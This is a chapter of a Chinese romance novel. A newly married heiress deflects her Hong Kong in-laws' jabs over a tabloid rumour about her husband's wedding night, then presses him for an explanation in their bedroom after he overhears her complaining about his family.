“阿琳,我提过你几次喇,人要输得起。”郑太低声斥责着白雯琳,眼神却轻飘飘瞥向穆慈恩和郑烨生。
穆慈恩嘴角微微牵起,弧度肉眼难察。
以为她听不出来这指桑骂槐吗?
谁输不起了?她输什么了?想通过打牌试她,发现她不会任人拿捏后玩不起嘲讽她,到底是谁输不起啊?
郑太缓慢对着白雯琳意味深长道:“也要赢得漂亮。”
穆慈恩:“……”
不好意思,她清一色牌型漂亮得很。
郑烨生眉心轻拧,语调微沉:“母亲……”
他后面的话没来得及说完,有一道声音更快更急地抢走了话。
“大嫂,我刚才是句句属实,今天是我第一次打香港麻将,我猜是因为新手保护期没过,所以运气好了些。”穆慈恩笑眯眯地看向白雯琳,言辞虽然谦逊,但上挑的眼尾,却暴露了她赢牌的自得与雀跃。
“承让了。”
白雯琳嘴唇张了张,不服气想再说什么,又听见穆慈恩继续道:“我来港前,就有听说过港媒最是毒舌,今天也是见识到了。”
宛转的语调,字字铿锵,柔里带着锋利。
“原来他们不仅嘴毒,还特别会乱编!其实呢……”她低低莞尔,偏过头望向了咫尺距离间的男人。
霎时,两道眼神碰撞到了一处,隔着一束温暖的光。
深墨色的干净瞳仁,清晰倒影着她,也只倒影着她,潋滟的桃花眸,仿佛天生的含情。
可惜,连瞳色都被伪装了一层。
上目线缓缓抬起,穆慈恩本清灵含笑的眼睛一瞬间带着嗔意地瞪圆。
少做出一副深情款款的模样!这双眼睛,骗了很多小姑娘吧?
郑烨生微怔,在情不自禁想去探究她这一刻的情绪时,穆慈恩已经扭过了头,眸底重新被笑意充盈,眉眼弯弯的模样让人难瞧出什么端倪。
“是我让他去HKC的,我的发小们在那边为我准备了一瓶,恰好是我生日日期的康帝,作为我的新婚礼物,我本想在新婚夜和Byron一起品尝,谁知道,婚礼忙晕头,我忘记取了。”
“Byron希望我开心,也为了让我不留遗憾,特地赶去HKC帮我把酒取回。”说到这里,穆慈恩嘴角撇了撇,委屈巴巴,“他从去到回都没有两个小时,这标题就是乱写,离间我们夫妻感情!”
葱白的手指拉住了男人的衣袖,这次是象征性撒娇地扯了扯。
“那群港媒到底是什么德行,二哥,是最清楚的吧?”穆慈恩把眼神放到一直看好戏的郑晋谦身上,不客气地拉人下水。
眼波流转间,温软乖巧,完全遮掩住了锐利的锋芒。
她就不信,作为花花公子,娱乐劲爆头条常客的郑晋谦,真会有胆子在郑太面前,不要脸皮认下那些事。
嘴角不着痕迹抽了两下,郑晋谦深着眸子“嗯”了声。
郑烨生的视线始终追随在穆慈恩身上,看着她绵里藏针地把在坐的人都刺了遍,眼底浮现了一层浅淡的笑意。
“Byron的为人,我是相信的。”说着,穆慈恩又娇娇地扯了扯郑烨生的袖子。
半敛眸,目光在自己被牵着的袖口处凝了几秒,郑烨生唇边笑意若隐若现。
他发现了,藏在她笑容背后的一丝威胁。
深深看了小戏精太太一眼,他从容面向郑太:“还请母亲放心,我会处理好这件事。”
“给Iris和穆家一个交代。”
手背被人不轻不重拍了两下,穆慈恩恍然回神,Iris是她。
这是她第一次听见郑烨生念自己英文名,矜雅磁性的英式发音。
不太习惯。
话都被人说干净了,郑太轻轻颔首,审视的眼神反复徘徊在郑烨生和穆慈恩的身上。
她的眉眼中虽然沉着对于这种关乎家族名誉的八卦丑闻的不喜,但对某些不利于Byron的事是乐意见成的,尤其在她大孙子逐渐长大,聪明优秀的现在。
眉尖上挑,她以不容置喙的口吻道:“明天晚上,赛马会举办的慈善晚宴,你和阿慈同去吧,媒体会很期待你们的共同亮像。”
听清郑太说了什么,穆慈恩红唇一点点抿起,眉骨也轻拢着。
明天晚上?
今天下午到晚上,是要去见郑家其他亲友,明天上午有一场仅郑穆两家参与的午宴。
她的发小们是明晚离港,去晚宴就代表着,她不仅没有同他们寒暄的机会,甚至连送别的机会也没有了?!
——“去吧,我们大后天才走,还有很多机会见面的~”
她想起了游艇上,孟羡今这句飘在晚风里的话。
见面的机会,或许数不胜数,
可是京城和港城,一个在北,一个在南……
甚至没有思考的时间,郑太不慌不忙又添了句:“Byron,我听说你们新房差一个管家,阿东跟我不少年,也一直照顾你,不如就让他去吧。”
穆慈恩迟疑了几秒,顺势看向了那位拿杂志进来的管家。
管家低眉顺眼,看上去恭恭敬敬,但从刚才直接拿着杂志毫不避讳进花房的行为,和郑太亲切的称呼,不难看出,这个人属于郑太的亲信。
答应下来,和放一个行走的监视器在身边有什么区别?
“好。”
在她短暂的沉默里,她听见郑烨生应下了郑太的话。
——
夜阑更深时,依山远眺,窗外高楼耸立,灯火遥远而繁华。
“我太累了,整个人不亚于在连跑了十个八百米后,又上了一节经济学管理课。你知道,那是我大学最讨厌的课!”
穆慈恩敷着眼膜,耳朵上戴着蓝牙耳机,带着满身疲惫,和热乎乎的水汽,从浴室里出来。
她今天太累了!
应付郑家人很累,应付看见港媒八卦后的郑家人更累!
“辛苦我的宝贝了!但是我跟你说,郑烨生新婚夜密会港姐两小时这事儿,你可不能轻拿轻放!不然,他真以为你好欺负!”
电话那边,孟羡今还在义愤填膺地嘱咐:“新婚夜诶!什么事儿这么急啊!管八卦真的假的,你都别放过他,最好蛐蛐他一辈子。”
半闭着眼睛,跟着昨晚的记忆,穆慈恩找着回床路线。
“放心,我没准备轻拿轻放,我要捍卫我合法权益,他要是来真的,明天我也来真的,他放火,我就点十个百个灯。”
“只是小金蛋宝贝,我明天好像不能来送你了,都怪那个杀千刀的整出了这场闹剧,而且郑家一家子都不正常!”
“你是不知道,矛盾的母亲,懦弱的大哥,刻薄的大嫂,傲慢的侄子,还有花心的二哥,孤独的二嫂,和一个……”
在脚尖碰到了床边后,穆慈恩沮丧地瘫倒在了床上。
“啪!”
身体和床亲密接触的同时,她的手很不客气地打到了什么……
眼膜滑落,不需要看清她也知道,
她打到的,是包裹在被子下,男人紧实的大腿。
半秒,穆慈恩瞪圆眼睛,迅速规矩了自己的姿势,两腿并拢跪在床上。
手机掉到了被子上,仍停留在通话页面。
遭了!
她缓慢掀起眼皮朝着隆起的被褥看去,一点点的,对上她已经洗漱完毕,正翻看着书的丈夫的眼睛。
沉静,宁和,零星点缀着笑意,
碎着卧室内暖色的灯光,像刚刚窗外繁华城的簇簇灯影。
如果她说,她没习惯自己已婚
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身份,聊天聊上头,心里装太多事儿,没注意到床上有个大活人,来得及吗?
慢慢,男人把手中的书合上。
“一个什么?破碎的他?没关系的宝儿,你新婚肯定很忙,我记得我当初是宴了三天三夜的宾客。”
“你要是想我!我开着飞机就来见你呀!”
孟羡今还在电话那边说着话,穆慈恩听在心里,一半为她话语感动,另一半却在煎熬着。
她出卧室的时候,好像噼里啪啦说了一通话?
她老公的国语,貌似怪好的,
他懂杀千刀是什么意思吗?不会告黑状吧?
郑烨生平静的视线落在了她那张嫩白水灵,如剥壳鸡蛋的脸蛋上。
左边的眼膜恰好停在她脸颊上,要落不落,看上去有几分滑稽。
视线挪动,他又看向了吊带睡裙遮掩不住,大片裸露在外,纤秾合度又白得发亮的肌肤。
一滴水珠顺着修长的脖颈滚落,隐没到了胸前漂亮的沟壑。
凸起的喉结无声滑动。
四下静静,相同的沐浴香浓郁扰人。
“哒。”
书被轻轻放到了床头柜。
“今今…我明早跟你接着说。”穆慈恩眸光闪了闪,有些机械地挂了电话,眼神戒备,“我刚才的话,你不许乱说哦!”
手无处安放时,她看见郑烨生动了。
男人掀开了被子。
高大的影子向着她的方向过来。
一寸又一寸靠近。
或许是因为她跪着的姿势,腿很容易发麻,此时此刻,穆慈恩紧张得想抱住胸口。
手刚动,她又觉得这个动作在他们有过坦诚相待后,太矫情了。
“你…你做什么?”色厉内荏,她半昂着下颌紧盯男人。
虽然昨天晚上,她说新婚夜要补起来,但是今晚她没这个想法。
她还为在他乡不能送别与她最亲近的发小们这事儿难过!而且,他还没有好好和她聊一聊新婚夜这事儿!
她怎么也算礼尚往来帮他解围了吧?
做贤良妻子做到这份上了,他是不是得真诚解释一下,昨晚都去做什么了?
她总不能被染成绿色了吧?才刚开始诶!
思绪混乱间,男人已经站定到了她的面前,好闻的乌木香混杂着清淡的沐浴露味道,一同钻进了她的鼻尖。
睡袍带子近在咫尺。
郑烨生垂下了眸子,细密的长睫搭落,眼底留有一片清冷的阴翳。
他倾下身子,胳膊也朝着穆慈恩所在方向伸去。
默默咽了咽口水,穆慈恩清晰感觉到,自己的眼膜掉到了睡裙上。
洇染开了一小片湿痕。
男人温热的手擦过了她肩膀处冰凉的肌肤。
两种截然相反的温度融到了一块儿。
“等一下!”音量拔高了几分,穆慈恩向后躲了躲,眼深直直对着郑烨生,身体也向上支楞着,“我还没有准备……”
话声未落,厚重的被子压到了她的肩膀,仿佛被人披了一件披风。
另一片眼膜也瞬之掉落了。
两小片滑稽地贴到了她睡裙的一左一右,但是更滑稽的,是她身上被男人披上的被子!!!
Excuseme?
他做什么呢?帮她cosplay超人吗?
“这边冷气凉,洗澡后穿得少容易感冒。”郑烨生皱眉看了看她,又用被子把她拢了拢,将她罩得和昨晚一样,只留着一颗气鼓鼓的小脑袋在外面。
“我不会乱说,你总结得挺好的。等会儿,我去你衣帽间帮你找一件薄外披。”
穆慈恩:“……”
原来是她多心了,不是她cos超人,是他cos清心寡欲的柳下惠。
不对……
不是这个问题。
“先不着急,我可以裹着被子!”她伸出手,用着最大的力气拉住了郑烨生的手腕。
水盈盈的眼睛里满是执拗。
“你都听见了……那话都到这份上了,你还是把新婚夜和港姐的事儿,都解释一下吧!”眨了眨眼睛,穆慈恩裹紧了被子,“咱们俩,也勉强算是,一根绳上的蚂蚱。”